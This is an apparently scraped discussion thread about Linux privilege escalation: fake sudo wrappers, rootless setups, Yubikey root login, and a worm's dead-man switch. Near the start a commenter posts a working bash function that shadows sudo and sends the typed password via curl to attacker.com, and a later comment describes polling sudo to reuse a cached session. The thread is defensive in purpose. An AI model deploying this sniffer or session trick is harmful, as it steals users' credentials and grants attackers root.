https://github.com/TanStack/router/issues/7383#issuecomment-...
If you didn't give yourself "free" (passwordless) sudo, that's not necessary…
…unless it happened in a week with 2 and a half Linux kernel LPEs.
That's why Flatpaks sandbox doesn't exist if the application has access to the home folder.
Malware can make a fake unprivileged sudo that sniffs your password.
function sudo () {
realsudo=$(which sudo);
read -r -s -p "[sudo] password for $USER: " password;
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;
$realsudo "${@:1}";
}Then the next time you run sudo, phase2 triggers installing a rootkit, etc.
You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.
The only things I tend to have running at the system level are a kernel and init and maybe openssh.
Yes indeed.
> Malware can make a fake unprivileged sudo that sniffs your password.
Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.
Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).
It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).
Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.
That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.
I did set that up just because I could. Turns out it's fully usable so I kept using it.
Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.
For servers, sudo or a package manager etc should not exist. There is no good reason for servers to run any processes as root or have any way to reach root. Servers should generally be immutable appliances.
> Realistically if you have installed malware, you need to do a full wipe of your computer anyway
You might be the exception to this sentiment. But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).
Oh no, I'd still nuke everything from orbit should I find anything indicating a local exploit succeeded. But the thing is: if on one system a local exploit has less probability to give root, then the probability that on that same system I'd know I need to nuke everything from orbit would be higher than on a system where root is easier to obtain.
I was however answering to the part about subverting sudo: and I both agree (it's totally trivial to abuse sudo) and disagree ("everybody uses sudo") with the part about sudo.
/aside
It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th"
To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).
(Also I just noticed the extra “it” in my previous comment, oops).
Oh TYVM. Native french speaker here so it'd be the literal translation of: "depuis des années".
Weird thing is I'm pretty sure I've read it written like that... for years ; )
I can't stand l33tspeak but in this case I think the kids can stay on the lawn.
I only mentioned it because I used to think correcting people's English was rude, until I had a long work engagement with a French guy whose English was pretty good but not quite native. He insisted that I correct his written English if I saw a mistake (i.e. in documentation, proposals, etc.), otherwise he wouldn't learn where it was wrong and how to improve it.
I only disallow password login over SSH. It's still technically possible to log in at a virtual console (like tty1 / tty2 / etc.) using a password (btw only root has a 30 characters password).
Usually you do not allow to directly log in as root by SSH: but in my case it's basically the way I want it done. So I allow root to log in by using SSH but only with a Yubikey.
My phone password is that long, we’re still only talking about taking a few seconds to enter it when sober.
Most people will quickly develop the necessary muscle memory in regular use.
I would say that the inability to obtain a session with elevated privileges from a normal session is key. The problem with sudo is that it gives the same shell some superpowers, so it's exploitable. Even ssh might be impenetrable, if not for the /dev/<pid>/fd of the ssh invocation, and even that can only read.
Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.
Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the sudo issue then and there.
Many package managers require sudo, sure, but there is no good reason for them to in a modern linux system, and not all require this.
Even with systemd, you can use systemd --user.
Issue is that it increases friction and you need sudo anyways to set the capabilities.
Most web servers would happy to run unprivileged with only CAP_NET_BIND_SERVICE
setcap 'cap_net_bind_service=+ep' /usr/sbin/sshd
Could even run it as a daemon unprivileged from a home directory with "systemd --user"
That said if you have multiple users and want every user to have their own sshd reachable on port 22 on the same machine you probably want to listen on vhost namespaced unix sockets and have something like haproxy listen on port 22 instead. Haproxy could of course also run unprivileged provided it has read access to all the sockets.
That stuff needs to change very seldom, so when you do need to change it you just generate a new tiny rootfs image in a few seconds and reboot to pivot to it or maybe have a kexec trigger if you are feeling fancy.
For my primary workstation the entire disk is my home partition and I boot my latest rootfs from a flash drive. In other cases network boot.
The bigger issue is that if you want to install or update system-wide packages, many of those will be used by privileged processes. Suppose you want to update /bin/sh. Even if the only permission you had is to write binaries, that'll get you root.
Honestly, the Android approach is significantly better. (and for that, see Micay's various ramblings posted online)
Password on sudo is only useful if you detect the infection before you run sudo
Yubikeys do not fix this issue.
In practice yubikey sudo keeps you much safer today, as almost nobody uses it and malware won't be prepared for it
Like, sure you could, but you end up with a very useless system.
Easier to just use VMs for each security context.
If your unprivileged user is compromised, you are pretty hosed.
$ /usr/bin/sudo() { echo Not the real sudo.; }
$ /usr/bin/sudo
Not the real sudo.
And every other suggestion also doesn't work if the attacker can just replace the shell.
1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions.
2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.
Remember that malware can replace or modify your shell
So the main danger is that you're not running the real sudo.
I have an idea that I hope to implement one day to make sudo actually secure:
1. Authenticate with passkeys (webauthn) instead of passwords.
2. Sudo can only run an interactive root shell, not arbitrary commands. The session is time-bound, and the TTY output is recorded for auditing purposes.
This combination makes intercepting sudo largely useless. Passkey authentication cannot be replayed or relayed. The fact that sudo can only open an interactive shell makes it impossible for a sudo wrapper to pass a malicious to sudo. This way we're not dependent on whether the unprivileged shell is secured properly. It also solves approval fatigue (compared to running sudo separately for every command).
----
EDIT: now that I think about it: an attacker can still edit .bash_profile and reexec the shell in a malicious terminal emulator. Then when the user gets a sudo root shell, the malicious terminal emulator can inject malicious commands.
Looks like the only good way is to get a root privileges via a separate user account that doesn't have malware, and that also can't easily install malware (e.g. accidentally running npm, forgetting that that's not safe).
Make alias called sdo that echoes sudo path and hash every time you use it to stderr.
That's security by obscurity though.
Back in the NT days malware could totally intercept it, but it would have had to be in the kernel. Which was something of an improvement.
Thank you, DoD Orange Book.
Alternately, run `sudo --non-interactive --validate` over and over until it succeeds. For some reason, using noninteractive doesn't log to the auth log/journald the way trying and failing to actually run a command would.
Edit: the loop only works assuming you can run this sudo command in the background in the user's shell so that you can pick up the same sudo session when they auth, which is honestly unlikely. Easier to wrap sudo in a command that just also runs sudo and then immediately runs something else.
You should always run dev stuff in containers to start with. And when your system is compromised, reprovision from a higher scope, too many places to hide backdoors
the GitHub bot law: the GitHub bot situation is way worse than you imagine even if you are aware of the GitHub bot law.
yes, a cheap parody on Hofstadter's law, but that's how bad it is
And what? Just let the actor just keep using them to spread to other people?
Always rotate your tokens immediately if they're compromised.
If it hurts, well, that sucks. …but seriously, not revoking the tokens just makes this worse for everyone.
A fair comment would have been: “it looks like the payload installs a dead-mans switch…”
Asking the maintainers not to revoke their compromised credentials deserves every down vote it receives.
Make sure to have an up-to-date backup, that's offline, or at least not mounted on the affected computer.
Check for the dead-man switch, and if present, disarm it.
Only then revoke the tokens. Instead of immediately revoking the tokens, like one would normally do. Nobody is suggesting to keep the compromised tokens active longer than necessary.
The next five years are going to be truly WILD in the software world.
Air-gapped systems are gonna be huge.
Let's say the attack becomes hugely succesful and the worm spreads to thousands of devices. GitHub/NPM could just revoke all compromised tokens (assuming they have a way to query) stopping the worm in its tracks. But because of the Dead Mans Switch, they'd know that in doing so, they'd be bricking thousands of their user's devices. So it effectively moves the responsibility to revoke compromised tokens from a central authority that could do it en-masse, to each individual who got compromised, greatly improving the worm's chances of survival.
Hah! I know why I don't use systemd.
Could just as easily install it in your user's crontab though?